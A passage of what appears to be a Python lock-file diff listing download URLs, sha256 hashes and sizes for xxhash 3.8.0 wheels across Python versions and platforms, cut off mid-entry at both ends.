"https://files.pythonhosted.org/packages/4e/31/56327a7b39dd3c605034f9b51c89d66aad022aacbe12aabeb6e335652d48/xxhash-3.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b25437ffd781d4cb98acef87f4bc32e27682f603ffd27ed5962948b516e777ff", size = 221932, upload-time = "2026-06-27T08:12:34.997Z" }, + { url = "https://files.pythonhosted.org/packages/41/a0/312504d1851969c62e3f2836eec5b16f3682edfae19aa60e6d69ee80d111/xxhash-3.8.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0ee773fd6c211b3b0134ee5d6fd6348411bd7bd79cdb4151d0aaf732179571", size = 236819, upload-time = "2026-06-27T08:12:36.66Z" }, + { url = "https://files.pythonhosted.org/packages/5d/23/d8f80cb1b1acede29ce76a39e013e5782712ab895bbffb32fe2e42b8eadd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:06c74e537f45c2f71010738d4d20741186cac29a035ec5c1c621c723d656c2fd", size = 297860, upload-time = "2026-06-27T08:12:38.103Z" }, + { url = "https://files.pythonhosted.org/packages/34/e9/4fdc697dcff5a73157ee34331e37849ada645448d4e47a38cb8a4044eafd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:718162a608eb85a22470725f95d63d834b1d7db98a2008b10309cd5a552d91ad", size = 439263, upload-time = "2026-06-27T08:12:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/60/07/41a5144d7fd1c1f2b380de36521f7f34d624eef0374736515087ead7b925/xxhash-3.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:934cd5008d86e201818ca4416a4202039ea29edd89047166fea5c49999677bea", size = 213953, upload-time = "2026-06-27T08:12:41.528Z" }, + { url = "https://files.pythonhosted.org/packages/44/e4/7bc12b2fc9f340c446054b6f0e90e5b54c8021a4f9f6b1650054796009e9/xxhash-3.8.0-cp310-cp310-win32.whl", hash = "sha256:1f2c243a385e2c2ce72f5b7d68f3a621cc7d2ee2d0f35e0ca6bf5427ef1922a4", size = 31858, upload-time = "2026-06-27T08:12:43.139Z" }, + { url = "https://files.pythonhosted.org/packages/46/6a/3a61102925bf65ad81827a4586553a357f8a5316a25b938ef435e0bfabf8/xxhash-3.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:cb4996d43a42d825e2aa6f2b6a978b2a7779397b6a28e4fab5eb9505457023e4", size = 32659, upload-time = "2026-06-27T08:12:45.029Z" }, + { url = "https://files.pythonhosted.org/packages/06/c6/39d915926f45f72059519688b538a068efbea0307a294eba1ddb18887c0e/xxhash-3.8.0-cp310-cp310-win_arm64.whl", hash = "sha256:b3a79d694adcfd70d118c73d244eaece7f5f5ab424feb44573bd1d377e1bf0ea", size = 29128, upload-time = "2026-06-27T08:12:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1b/73aaae7755372ff0cd5788c9955abb64b34d519dd84f2f4f081e2082119b/xxhash-3.8.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08c34553cd7ceb3bfcfca344dc70305a45430429b5d58a67750f2a58364f638f", size = 34641, upload-time = "2026-06-27T08:12:47.579Z" }, + { url = "https://files.pythonhosted.org/packages/53/08/fdb1cb1001ed15b1f74a8eb70457dbdcd6df8375e27e3fe0d0225dbab170/xxhash-3.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:842d147983110e5a4f533f98f4f5bc851a08c7ca00aaa30649e8d5f9a6d4e47a", size = 32316, upload-time = "2026-06-27T08:12:48.695Z" }, + { url = "https://files.pythonhosted.org/packages/d7/05/c004e99c4292a9dde76c9157e8e51c73c6db2dd7e4a876712e6a6113e3b0/xxhash-3.8.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:37c9943e18f569f76a8b7d5d01bfe0716f7762c396096ceb42a47eb3d5ecf641", size = 220196, upload-time = "2026-06-27T08:12:49.964Z" }, + { url = "https://files.pythonhosted.org/packages/a0/b2/8696a2008d59c3dc9346b26f7d64f5ec342cacc4051664e3b0201354fe58/xxhash-3.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21f6797afdc7abb0ffae059a0d1619c84a5368115bc0abd48f9803ab56a5d35e", size = 240908, upload-time = "2026-06-27T08:12:51.544Z" }, + { url = "https://files.pythonhosted.org/packages/da/ee/2415c55a17f525bcfa38b5b51d69381d6485b1c320eff373b263403b5e6b/xxhash-3.8.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5875d99d3540367d43779551dd22c813420b84a103e418d791095b9808fdca57", size = 264445, upload-time = "2026-06-27T08:12:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/23/25/056d30ed2e500d0a993e4589da8cdbe50cbf4809c1b1ac84f6f9559d99ba/xxhash-3.8.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1a54ad5a2a96cdf1ee7a935d38bc63daa6095530095a916f644f1ab76604ced5", size = 241295, upload-time = "2026-06-27T08:12:54.703Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/5d8c9b65ae05725c2ea8f331705e1382fc4817911eb159450aecb2905c6b/xxhash-3.8.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b32e50dd85f0b67b2b95eb59cd3242052f6b27b70e9e73b27629686c592e3ea3", size = 473113, upload-time = "2026-06-27T08:12:56.159Z" }, + { url = "https://files.pythonhosted.org/packages/6f/d4/734dd8e6eaa03b0c4e3044127755221ebf153260a3c5de0382430486fcaf/xxhash-3.8.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e4208fb85c950ddf7118b040bca15179c3bf9b7eb8bebe5e6ef067fc8af16a7", size = 220001, upload-time = "2026-06-27T08:12:57.869Z" }, + { url = "https://files.pythonhosted.org/packages/5b/cc/a0d92359d499db55f83fe6de13188125515319b968bd627b591a0984c454/xxhash-3.8.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9f17e09b035f2a0139536da53deb392b62ee259dc2a2189be12b06a7dd50489b", size = 309757, upload-time = "2026-06-27T08:12:59.438Z" }, + { url = "https://files.pythonhosted.org/packages/bc/dd/a20949401cfb9c940ef858d93b41ded90382ff4be0f7e8a5249edd95ff18/xxhash-3.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7d6dbb976d6e3b3be51bad16b13de7f4980e6aebd0aa51c5a14dfcc0fedd495e", size = 237596, upload-time = "2026-06-27T08:13:00.992Z" }, + { url = "https://files.pythonhosted.org/packages/99/5d/6963ee0c245a69d9c4a2583da603915f9288f1df23700a0ec705239ef014/xxhash-3.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:281897e5c516769694c999f5c50fd1e9acb27acbff187282a8ac77c38b6a9be5", size = 268683, upload-time = "2026-06-27T08:13:02.577Z" }, + { url = "https://files.pythonhosted.org/packages/db/ea/3489cde91ccd91230efbb2351a6d9358e8a63a9954cb8f071fa9c32a2558/xxhash-3.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8fba3d08c246201a1a0a6cece53a0b3b0890fc16adbe1edb245fcfcbf4eb0ce2", size = 224882, upload-time = "2026-06-27T08:13:04.21Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f6/179847064c92a07bba7381e9cd7132c380a17aad31e176a2d6f6e73eed48/xxhash-3.8.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:14ebc1559e8a9a481d0d5506b87678942fcdfa794d4aa55cdd2a0fb175d4245a", size = 239563, upload-time = "2026-06-27T08:13:05.96Z" }, + { url = "https://files.pythonhosted.org/packages/2d/83/dd599670efd161d31fba4149e20694f140ae5707068d38ac480dac1c8cd5/xxhash-3.8.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5e7a3e3bbe3a56bff70acc9b72576670e793b0184de3d1b9cda2bf697d17f630", size = 300148, upload-time = "2026-06-27T08:13:07.495Z" }, + { url = "https://files.pythonhosted.org/packages/e8/a8/a474f136610594b464ad813f6badf00b931211a69fc86542c21daf5d2a4d/xxhash-3.8.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9c71e3755a8320d29c351126d550930349be22b44bac1a559caf12ab78b53e9f", size = 442448, upload-time = "2026-06-27T08:13:09.467Z" }, + { url = "https://files.pythonhosted.org/packages/75/86/054032919fc73b72917054cf731be76be3a984e8f53b1d0ba6f22fb9cffc/xxhash-3.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:715c611582004e75010517b919776c5dbc00aae03054dc9fd72484a23fd1862f", size = 216755, upload-time = "2026-06-27T08:13:10.902Z" }, + { url = "https://files.pythonhosted.org/packages/3c/16/2eb382a78f12e3fde1c735b57607498c0efe897e8859484d69d9446bba55/xxhash-3.8.0-cp311-cp311-win32.whl", hash = "sha256:41a30a1d0ba978238742a374875c15979e0faed0a65294f3ff4d9410057ee8b6", size = 31851, upload-time = "2026-06-27T08:13:12.281Z" }, + { url = "https://files.pythonhosted.org/packages/dd/53/a07ad4dbdc32118b3bd190f5d54ee2ed28c1a0a994b52ae493435cfb4de7/xxhash-3.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:43705f917b8b817d6994851bf3725b98b4c95e64186404d9a6dbc1acf12fd140", size = 32655, upload-time = "2026-06-27T08:13:13.394Z" }, + { url = "https://files.pythonhosted.org/packages/e1/87/d76bef62a288a1f2441404b33cb757047cf555cd5956b36ed718a38b81e9/xxhash-3.8.0-cp311-cp311-win_arm64.whl", hash = "sha256:35c5d843bb7ac1dfdb125ef4181fe4c2e01c2275856e6b699de89e9eb5c69c8d", size = 29128, upload-time = "2026-06-27T08:13:15.371Z" }, + { url = "https://files.pythonhosted.org/packages/17/2e/4b7c3ab28b7a54ac17eae7e02471c49609d6fc5900856a455feeb847a2a3/xxhash-3.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fc4bd14f873cd0b420f6f1ff5b5cd0dbfeb05b044a11bb9345bcbbf9749636e3", size = 34623, upload-time = "2026-06-27T08:13:16.696Z" }, + { url = "https://files.pythonhosted.org/packages/43/e4/09eea3e1bba6a59d64599cb8fba39f2a0872d06e85420eae989a4da61a9d/xxhash-3.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:31904979198e913239cb61b49f5b849696aeb3b03340da815d1491ec74dcc602", size = 32318, upload-time = "2026-06-27T08:13:18.036Z" }, + { url = "https://files.pythonhosted.org/packages/01/59/688bbae31e4e2d6d6eb92acbd3837c0e44ff8c7d435e6da922844ff6efda/xxhash-3.8.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7338ad13f2b273a1ef0ea97b2db0a059fdb3a1a29298bfa145937c0e4152d341", size = 220461, upload-time = "2026-06-27T08:13:19.311Z" }, + { url = "https://files.pythonhosted.org/packages/2d/de/71484ce0dab2fa4a475705d1ebc37a17ff02d40e5df6767b3255cc53120e/xxhash-3.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:54e80e803cb34c8a1d278b491e543af40a588d288589c3e6becc991d5328b46b", size = 241110, upload-time = "2026-06-27T08:13:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f9/1ac88f02e7df7898541490260b21f2b7f7bd2b233038a0cbd3a3b1bffdc2/xxhash-3.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:353953ea18f5c3fbdd13936fb536aacfb47d5bc06eef0919b1a355df61f7cc31", size = 264779, upload-time = "2026-06-27T08:13:22.485Z" }, + { url = "https://files.pythonhosted.org/packages/25/49/7ea1f128d2fe948ed679020f97a0896cdc6c975da5cc69b53a4a9c4a5def/xxhash-3.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d761f983a315630eff18c2fec7360c6b6946f82748026e779336eb8141ef3eba", size = 242609, upload-time = "2026-06-27T08:13:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/a0/da/7d237278dfa1c48722c31010c84a328a317b8885429c8cb6ae4a8fa3e3db/xxhash-3.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f3786a9beb9a3b76241cb7db5f5388b460682c12204236389e3221963fc626a6", size = 473472, upload-time = "2026-06-27T08:13:25.877Z" }, + { url = "https://files.pythonhosted.org/packages/9b/5f/980fda82620a07d80026b4df371cbca12fca0fd94d7087c4ec5d898da76f/xxhash-3.8.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c94f5a9a775f36cc522fa2a7e8e2cec512e252d2ac056759f753dc68a79ffc", size = 220374, upload-time = "2026-06-27T08:13:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/14/71/efa37bc3e91e1c801972bcef99eab877fcbd17ec10aca16c550ee2951107/xxhash-3.8.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:55ce59f9af37ac861947b43ea3ce7b294b5de77a1234b558d0f07ffad0197624", size = 310220, upload-time = "2026-06-27T08:13:28.804Z" }, + { url = "https://files.pythonhosted.org/packages/9d/48/19e40320044dc7051e8446505f18557d5661853b87a8770ad399325bb3c8/xxhash-3.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3afa1422a32c7c8e79ad5121dc21eaa5cee9e9e67bffca3f15d15d220d371908", size = 238100, upload-time = "2026-06-27T08:13:30.378Z" }, + { url = "https://files.pythonhosted.org/packages/d3/0d/588499f4d7cd064864ada7adfb9e8785f88a988f1332ed4c1be73d249c15/xxhash-3.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:551fda694938be910529452a89175137c58b4739e41fadff3c047e24b1d74a3b", size = 268937, upload-time = "2026-06-27T08:13:31.867Z" }, + { url = "https://files.pythonhosted.org/packages/54/18/fb2ad593572a33d1b6864b33047b8ca7269273a3c56107b5fd33e0b9c8fb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:512eb937c9457e6057e230e005c4709dd2ab63a5989f854d69f31db905750a62", size = 224910, upload-time = "2026-06-27T08:13:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/63/9e/b880f9ed61b73492e24bb962d76aeb63f18ccb895f0edfb52e20d45ed6f2/xxhash-3.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4931ea93840f750a908efebaf23c71004feacc1a4649ef601b96d400a505c9a9", size = 240742, upload-time = "2026-06-27T08:13:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/3f/89/fc682f93e54e486fc338b26a7d6d0d5cb0ab366269273c2608ac62b51afb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2fd4b60e8d9fc3923f39079f185b3425e6d76636fcb66d82a33dd7eba7c30f2f", size = 300527, upload-time = "2026-06-27T08:13:36.997Z" }, + { url = "https://files.pythonhosted.org/packages/80/71/a4b4122afb2d17ad69e0922cfeddb5ad5c25b02f37eed3dd3819d42e5f55/xxhash-3.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1da00075f1605794298878cb587f7533329693e2a0c45bbd25d6353644add675", size = 443195, upload-time = "2026-06-27T08:13:38.719Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e5/ed3930f5dc90f4b1bab5ac3be099e8b2e81c1262d85e4adb5f2758e30d23/xxhash-3.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba73801c87d44fa37b2a5feab3004f0a654506027bf032ceb154d94bb74ea772", size = 217252, upload-time = "2026-06-27T08:13:41.179Z" }, + { url = "https://files.pythonhosted.org/packages/44/ae/128ea5794387ca54bb4084566db20dbdfc9c21cb17b67d3fcb403927b5ba/xxhash-3.8.0-cp312-cp312-win32.whl", hash = "sha256:0b0836dee6022e22ba516ebfa8f76c6e4bda08d6c166c553e40867bac89e4a54", size = 31890, upload-time = "2026-06-27T08:13:42.568Z" }, + { url = "https://files.pythonhosted.org/packages/4f/04/a6c182dc566c88e8d1a497d22cc4ffdcfcc0a9fa80325efa6cd4b9002c54/xxhash-3.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:3bc2a09b98b8f85c75208cd2b2d2aecf40c77ecb2d72f6bf9757db51a98d3499", size = 32677, upload-time = "2026-06-27T08:13:43.705Z" }, + { url = "https://files.pythonhosted.org/packages/93/b5/aeda4e79f962c8d58ec60cb20a5abfe91c9f7d62e626f69f6659bc0bd0c4/xxhash-3.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:208e6a8b93426896d803224e9fabe26f8b9c651e8381a80b1fa31812faa091e3", size = 29155, upload-time = "2026-06-27T08:13:44.903Z" }, + { url = "https://files.pythonhosted.org/packages/ec/1f/96f43c5c7c7c4d44721f8d2e5d74698c667a30283c4b10a7e50a56804ee3/xxhash-3.8.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:36434c1d1b0a4729df1fa26ab11bffed1ba52666c0beb605c98a995b470cd143", size = 38508, upload-time = "2026-06-27T08:13:46.152Z" }, + { url = "https://files.pythonhosted.org/packages/1c/d9/7d5d6af4876c6481f2e0acb2dda64dd5209574bf7ba1ad4f6af7a1f8d473/xxhash-3.8.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:a5e6497cefcb2d67f1745c66df9718a99112583af6cc2b70da0312a2eb939f1e", size = 36542, upload-time = "2026-06-27T08:13:47.497Z" }, + { url = "https://files.pythonhosted.org/packages/32/ff/66fed439d78c5a09a1491a85af29bf8923b516530116731a9ac6b14dee2b/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:5b00b82f1be708da9404fefd658cf5cf3be5ee3be2aae4bfe3b874255badd342", size = 31102, upload-time = "2026-06-27T08:13:48.721Z" }, + { url = "https://files.pythonhosted.org/packages/56/b8/9fae0399281095f8aca1f32b21947b3c3c75ad6021b255c5c6e4b11d3866/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:38b0cb0ab7f283413b7cace2bf710d7cf8f702ea82cbc683908691d52028a89b", size = 32096, upload-time = "2026-06-27T08:13:50.138Z" }, + { url = "https://files.pythonhosted.org/packages/61/a4/e53d162c74a8a2950dc063969914387b0680da4c7c20ad17744ec03a3b0a/xxhash-3.8.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:084312171a9798dea85e924b2674f5e1a44933050a1ea1cb1c6b1364e004c66c", size = 34585, upload-time = "2026-06-27T08:13:51.572Z" }, + { url = "https://files.pythonhosted.org/packages/69/f5/e12397e3f2c4917b6572e103a3277cd27cc56330e304bba61d195d7e5224/xxhash-3.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6a1a9e845bd3bbc57d9356819e0d198fe23282e0576b398a6282a0f8fdc75aef", size = 34622, upload-time = "2026-06-27T08:13:52.818Z" }, + { url = "https://files.pythonhosted.org/packages/70/80/c053dc51af5c942229689a0e9cb66fdc999bbd840f645e761f5ab73cbb17/xxhash-3.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ffbde09743ebaf8957b8426948fbe85eab5e5de0d29eec407fcff5a2812a3cc", size = 32320, upload-time = "2026-06-27T08:13:54.04Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/294171b67dfe770e1293edcf2a3f7e41302cdb8aefb258585312191b3ffe/xxhash-3.8.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a6dee3952c2b6e82e7f1dbc5dbc6167f9c84126851def7926e32827c2816169c", size = 220532, upload-time = "2026-06-27T08:13:55.448Z" }, + { url = "https://files.pythonhosted.org/packages/80/c3/d141bfdeca785c8c680abf867d4b52a5e64a55d90df242c3141a3e58c4b2/xxhash-3.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf8ff8e12416c9fa05b43c7509b9332d6ffc4090413c4e7a1dee8599763b6d59", size = 241215, upload-time = "2026-06-27T08:13:57.047Z" }, + { url = "https://files.pythonhosted.org/packages/09/5a/aeaf35143a6f3d44db73298e861405bdd9c9dacaedfc369cb43d9fd65282/xxhash-3.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:cebbb322df4d97d8ef2704f49ed2f6f21f6702fafa0dc0c2a6ae70e904205689", size = 264615, upload-time = "2026-06-27T08:13:58.912Z" }, + { url = "https://files.pythonhosted.org/packages/bf/3e/f8ca782bb34f99693faab70a7989bcc84f62ffe93c9a4cca464a33507a4b/xxhash-3.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9a8d08707b4100ebce598fc59fadf04b42d79b855818d6994f8f0fffd1df8edb", size = 242682, upload-time = "2026-06-27T08:14:00.483Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fa/ddbee4ff1542c2e88e72269a5a6bd18c3f26a80c2514e0918f5d1f3e9ec5/xxhash-3.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cf5427602dda15d8ce3c6d870d29bf07d43975f59c9d6d3f7f6f93a901b28b12", size = 473551, upload-time = "2026-06-27T08:14:02.17Z" }, + { url = "https://files.pythonhosted.org/packages/25/f5/a680d48dddab37ab2fd9189ca03f775e29e3627122e30790816d7eb365af/xxhash-3.8.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97d7bd715ea5050b6c9638b52c62adf3055b648ef6eee6892a4cd9697b530191", size = 220485, upload-time = "2026-06-27T08:14:03.765Z" }, + { url = "https://files.pythonhosted.org/packages/22/b1/7ac129b74981c07f1ff9c649f204465e86f83f9f29b2ebdc70d91514c365/xxhash-3.8.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cd25bbbab37d898f6e5a90905ce6ae2c1f8bd6668c07cef406fb3e8c8c570dd", size = 310307, upload-time = "2026-06-27T08:14:05.366Z" }, + { url = "https://files.pythonhosted.org/packages/67/e6/43e673411249dd63f6cd974523a1b32fad75cf5453e363bc8f44af215fb9/xxhash-3.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e30e5c057f483c3c53a11b53eba091a737cb19dfead36c8b23bf5beb4a169cd", size = 238164, upload-time = "2026-06-27T08:14:07.149Z" }, + { url = "https://files.pythonhosted.org/packages/e5/95/87f8baf41f63130f3637104b7a610f82b20106332fc6e289c8dbf7955d0e/xxhash-3.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:07dd44d992ebd456752bc25b1c42cd172d94bd8cb24049300449ad0716081c3a", size = 269062, upload-time = "2026-06-27T08:14:08.834Z" }, + { url = "https://files.pythonhosted.org/packages/38/c9/3369b497cd1f926b930c52fd2400606f177790d887b49f9e86bddcc24562/xxhash-3.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3118600a3102d4707dc1c485dbc3acbbbf37819069ad3e7854e77b923745d76b", size = 225007, upload-time = "2026-06-27T08:14:10.689Z" }, + { url = "https://files.pythonhosted.org/packages/34/c8/03dceb86a8128858ac105bd6e282d62b3db6fd421a79bd8a9f6b8cdc47a7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ed37b0c95d8fb3fbaad5e13cc0a9727eb8739d1d54b2adef28108c250cada3a", size = 240815, upload-time = "2026-06-27T08:14:12.195Z" }, + { url = "https://files.pythonhosted.org/packages/47/a5/ebd43eeb1af1dd8f0201943688b20958e99d3f6eb36481fb8c37b55ef139/xxhash-3.8.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bb043da412e478e7b1db3407051124b85b133803794d3809ad6d92870b304fc7", size = 300632, upload-time = "2026-06-27T08:14:13.916Z" }, + { url = "https://files.pythonhosted.org/packages/df/24/c873e41a3c00dacc385c8ff08c007723f6a528922c1cea7fd9684e86dae7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:196fc132683d9311a0bdce8388ee52bfa07fdc1987cc428a27956e47ccd7b50d", size = 443293, upload-time = "2026-06-27T08:14:15.446Z" }, + { url = "https://files.pythonhosted.org/packages/4f/1b/c671272fe28f70574e3c574d58465f26460154bcc68876121872afa1c14d/xxhash-3.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfb5411af3b77c75e99db100aa15c5ba623c85d72c565e4d7a0ed1a986ff766e", size = 217327, upload-time = "2026-06-27T08:14:17.28Z" }, + { url = "https://files.pythonhosted.org/packages/57/43/b45a52f795812cb769b6ac159e69b605d18b1c067749e63dcac159e90064/xxhash-3.8.0-cp313-cp313-win32.whl", hash = "sha256:6d1d6179e26830c6690fac63f76d372f69714b977e12ca9c42188a60f51c59f5", size = 31898, upload-time = "2026-06-27T08:14:18.952Z" }, + { url = "https://files.pythonhosted.org/packages/a1/42/2bd70e4eec25dc5990652979d708d4d7c999793d7d5af5d0e48ab4374dc1/xxhash-3.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:7c92427a56a12f4d5c7bb26dbb9e9a4658c313ecb6c2f1dca349902e3822df07", size = 32680, upload-time = "2026-06-27T08:14:20.277Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/2fe61edb6144183cf094035a8c5354c65a073127acf6379655ed1e705b70/xxhash-3.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:9fc8453642c1c6d38b4fbac8901c2452ce1fa88b27f003bfee6703cbfae9bd63", size = 29157, upload-time = "2026-06-27T08:14:21.674Z" }, + { url = "https://files.pythonhosted.org/packages/b9/b8/81d17a993b9a4750ba426ce966421681bb4b8e82a460cd346756491b8cc2/xxhash-3.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:efcacb644a915f010dc477447b045e5dcde1afaa40d16b2f0f8e7cd99c9e1635", size = 34897, upload-time = "2026-06-27T08:14:23.044Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3b/f5a368e3273440b3ea58fbd3f0b08c19f552b25ca59f43f5732ca96d2126/xxhash-3.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d1e0dbc510cff94c5efbcc2b82c28b41519fad09b5b1f9f3d99c63e3940e49a0", size = 32630, upload-time = "2026-06-27T08:14:24.603Z" }, + { url = "https://files.pythonhosted.org/packages/a6/ab/f424359c91c55f564fbbe4e454a126eb522471109f67376f20ad19c5e663/xxhash-3.8.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ff19d016a41c90d1f519005887191896b6da1274e1d5d48b347e17eb798ffc5a", size = 225874, upload-time = "2026-06-27T08:14:25.992Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c2/434579ef9235123b6c9bfa89c5614e0001e988613b91557b24aa326d9faa/xxhash-3.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aafc3eab99c50508852e34307e9565933bf128cad084cac7d2471b7ab1743de0", size = 249705, upload-time = "2026-06-27T08:14:27.607Z" }, + { url = "https://files.pythonhosted.org/packages/c0/6c/3c0c917331ca3c71f826cedce2127f230624e2b49b992472dd5e9e72101c/xxhash-3.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5e521368ed79ae6c4d31e1e417726643c49d7d6e286f4fdabf9a8330ed8a8ff7", size = 274716, upload-time = "2026-06-27T08:14:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/c1/f3/a8bb98d3307c67e88be9642dff52854c3de3f488f95989b60ff69c8dcc42/xxhash-3.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6a0127688d116ec0c225e7e1f744e3f206de2b8822ffeb31a9ab5cc6384f92c5", size = 252019, upload-time = "2026-06-27T08:14:31.247Z" }, + { url = "https://files.pythonhosted.org/packages/f7/73/fab69a2e5b6353dde643209fe9b6adf4fbd64c888e531deffc476bfb2635/xxhash-3.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:22c0b17da2f9fea0f8836538512249871b359141616bad44c58d238b5f011f40", size = 482024, upload-time = "2026-06-27T08:14:32.973Z" }, + { url = "https://files.pythonhosted.org/packages/a3/5b/ba34099b5278097ec9c68c0b740719813553bfd11ca17e7353de6d2a41e3/xxhash-3.8.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3d49465646b1a5e3b1729c5f636e05676a2fb52e203e3b22a5411c416c4c5302", size = 226655, upload-time = "2026-06-27T08:14:34.608Z" }, + { url = 